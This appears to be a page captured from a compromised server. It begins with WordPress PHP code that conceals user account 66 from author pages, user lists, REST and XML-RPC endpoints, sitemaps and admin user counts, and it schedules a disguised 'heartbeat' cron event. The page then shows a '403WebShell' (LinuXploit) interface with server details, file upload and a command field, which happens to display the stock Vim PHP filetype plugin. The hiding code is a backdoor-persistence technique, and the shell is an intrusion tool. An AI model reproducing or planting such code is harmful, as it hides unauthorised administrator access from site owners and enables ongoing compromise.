add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/vim/vim91/ftplugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/vim/vim91/ftplugin/php.vim
" Vim filetype plugin file
" Language:		PHP
" Maintainer:		Doug Kearns <dougkearns@gmail.com>
" Previous Maintainer:	Dan Sharp
" Last Changed:		2022 Jul 20

if exists("b:did_ftplugin")
  finish
endif

" Make sure the continuation lines below do not cause problems in
" compatibility mode.
let s:keepcpo= &cpo
set cpo&vim

" Define some defaults in case the included ftplugins don't set them.
let s:undo_ftplugin = ""
let s:browsefilter = "HTML Files (*.html, *.htm)\t*.html;*.htm\n" ..
      \		     "All Files (*.*)\t*.*\n"
let s:match_words = ""

runtime! ftplugin/html.vim ftplugin/html_*.vim ftplugin/html/*.vim
let b:did_ftplugin = 1

" Override our defaults if these were set by an included ftplugin.
if exists("b:undo_ftplugin")
" let b:undo_ftplugin = "setlocal comments< commentstring< formatoptions< omnifunc<"
  let s:undo_ftplugin = b:undo_ftplugin
endif
if exists("b:browsefilter")
" let b:undo_ftplugin ..= " | unlet! b:browsefilter b:html_set_browsefilter"
  let s:browsefilter = b:browsefilter
endif
if exists("b:match_words")
" let b:undo_ftplugin ..= " | unlet! b:match_ignorecase b:match_words b:html_set_match_words"
  let s:match_words = b:match_words
endif
if exists("b:match_skip")
  unlet b:match_skip
endif

setlocal comments=s1:/*,mb:*,ex:*/,://,:#
setlocal commentstring=/*%s*/
setlocal formatoptions+=l formatoptions-=t

if get(g:, "php_autocomment", 1)
  setlocal formatoptions+=croq
  " NOTE: set g:PHP_autoformatcomment = 0 to prevent the indent plugin from
  "       overriding this 'comments' value 
  setlocal comments-=:#
  " space after # comments to exclude attributes
  setlocal comments+=b:#
endif

if exists('&omnifunc')
  setlocal omnifunc=phpcomplete#CompletePHP
endif

setlocal suffixesadd=.php

" ###
" Provided by Mikolaj Machowski <mikmach at wp dot pl>
setlocal include=\\\(require\\\|include\\\)\\\(_once\\\)\\\?
" Disabled changing 'iskeyword', it breaks a command such as "*"
" setlocal iskeyword+=$

let b:undo_ftplugin = "setlocal include< suffixesadd<"

if exists("loaded_matchit") && exists("b:html_set_match_words")
  let b:match_ignorecase = 1
  let b:match_words = 'PhpMatchWords()'

  if !exists("*PhpMatchWords")
    function! PhpMatchWords()
      " The PHP syntax file uses the Delimiter syntax group for the phpRegion
      " matchgroups, without a "php" prefix, so use the stack to test for the
      " outer phpRegion group.	This also means the closing ?> tag which is
      " outside of the matched region just uses the Delimiter group for the
      " end match.
      let stack = synstack(line('.'), col('.'))
      let php_region = !empty(stack) && synIDattr(stack[0], "name") =~# '\<php'
      if php_region || getline(".") =~ '.\=\%.c\&?>'
	let b:match_skip = "PhpMatchSkip('html')"
	return '<?php\|<?=\=:?>,' ..
	   \   '\<if\>:\<elseif\>:\<else\>:\<endif\>,' ..
	   \   '\<switch\>:\<case\>:\<break\>:\<continue\>:\<endswitch\>,' ..
	   \   '\<while\>.\{-})\s*\::\<break\>:\<continue\>:\<endwhile\>,' ..
	   \   '\<do\>:\<break\>:\<continue\>:\<while\>,' ..
	   \   '\<for\>:\<break\>:\<continue\>:\<endfor\>,' ..
	   \   '\<foreach\>:\<break\>:\<continue\>:\<endforeach\>,' ..
	   \   '\%(<<<\s*\)\@<=''\=\(\h\w*\)''\=:^\s*\1\>'

	   " TODO: these probably aren't worth adding and really need syntax support
	   "   '<\_s*script\_s*language\_s*=\_s*[''"]\=\_s*php\_s*[''"]\=\_s*>:<\_s*\_s*/\_s*script\_s*>,' ..
	   "   '<%:%>,' ..
      else
	let b:match_skip = "PhpMatchSkip('php')"
	return s:match_words
      endif
    endfunction
  endif
  if !exists("*PhpMatchSkip")
    function! PhpMatchSkip(skip)
      let name = synIDattr(synID(line('.'), col('.'), 1), 'name')
      if a:skip == "html"
	" ?> in line comments will also be correctly matched as Delimiter
	return name =~? 'comment\|string' || name !~? 'php\|delimiter'
      else " php
	return name =~? 'comment\|string\|php'
      endif
    endfunction
  endif
  let b:undo_ftplugin ..= " | unlet! b:match_skip"
endif
" ###

" Change the :browse e filter to primarily show PHP-related files.
if (has("gui_win32") || has("gui_gtk")) && exists("b:html_set_browsefilter")
  let b:browsefilter = "PHP Files (*.php)\t*.php\n" ..
	\	       "PHP Test Files (*.phpt)\t*.phpt\n" ..
	\	       s:browsefilter
endif

if !exists("no_plugin_maps") && !exists("no_php_maps")
  " Section jumping: [[ and ]] provided by Antony Scriven <adscriven at gmail dot com>
  let s:function = '\%(abstract\s\+\|final\s\+\|private\s\+\|protected\s\+\|public\s\+\|static\s\+\)*function'
  let s:class = '\%(abstract\s\+\|final\s\+\)*class'
  let s:section = escape('^\s*\zs\%(' .. s:function .. '\|' .. s:class .. '\|interface\|trait\|enum\)\>', "|")

  function! s:Jump(pattern, count, flags)
    normal! m'
    for i in range(a:count)
      if !search(a:pattern, a:flags)
	break
      endif
    endfor
  endfunction

  for mode in ["n", "o", "x"]
    exe mode .. "noremap <buffer> <silent> ]] <Cmd>call <SID>Jump('" .. s:section .. "', v:count1, 'W')<CR>"
    exe mode .. "noremap <buffer> <silent> [[ <Cmd>call <SID>Jump('" .. s:section .. "', v:count1, 'bW')<CR>"
    let b:undo_ftplugin ..= " | sil! exe '" .. mode .. "unmap <buffer> ]]'" ..
	  \		    " | sil! exe '" .. mode .. "unmap <buffer> [['"
  endfor
endif

let b:undo_ftplugin ..= " | " .. s:undo_ftplugin

" Restore the saved compatibility options.
let &cpo = s:keepcpo
unlet s:keepcpo

" vim: nowrap sw=2 sts=2 ts=8 noet:

Youez - 2016 - github.com/yon3zu
LinuXploit